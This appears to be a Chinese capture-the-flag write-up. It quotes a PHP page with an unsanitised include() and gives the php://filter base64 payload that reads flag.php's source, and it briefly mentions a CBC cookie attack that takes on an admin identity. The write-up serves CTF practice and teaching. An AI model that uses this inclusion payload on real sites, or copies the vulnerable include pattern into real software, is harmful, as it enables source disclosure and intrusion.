<?php error_reporting(0); define('FROM_INDEX', 1); $op = empty($_GET['op']) ? 'home' : $_GET['op']; if(!is_string($op) || preg_match('/\.\./', $op)) die('Try it again and I will kill you! I freaking hate hackers!'); ob_start('ob_gzhandler'); function page_top($op) { ?> DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Panduploader::<?= htmlentities(ucfirst($op)); ?>title> head> <body> <div id="header"> <center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt="">a>center> div> <div id="body"> <?php } function fatal($msg) { ?><div class="article"> <h2>Errorh2> <p><?=$msg;?>p> div><?php exit(1); } function page_bottom() { ?> div> <center> <div id="footer"> <div> <p> <span>2017 © span> All rights reserved. p> div> div> center> body> html> <?php ob_end_flush(); } register_shutdown_function('page_bottom'); page_top($op); @$op =str_replace("http","",$op); if(!(include $op . '.php')) fatal('no such page'); ?>
通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。
通过御剑后台扫描扫描出后台的信息,有flag.php页面,则
op=php://filter/read=convert.base64-encode/resource=flag
则获得flag的base64加密后的数据,进行解密,获得flag。
login4
CBC攻击原理
详细
https://blog.csdn.net/u013577244/article/details/86310881
https://blog.csdn.net/zpy1998zpy/article/details/80684485
http://www.anquan.us/static/drops/tips-7828.html
在线php代码运行平台 http://www.it1352.com/onlinetools/details/8
将我们提交的内容删掉后再发送,只要cookie不变,我们依然是我们提交的admik的身份
得到
MQ2Bj9XHqo1YQ0sN7Ge5Lirf6DKjw2FpwXZn2F873jpgnU4ykrpE2VJ7H0XLgkZ31kCuP5FC8KTmyQKhRtdFyPSdQ3D3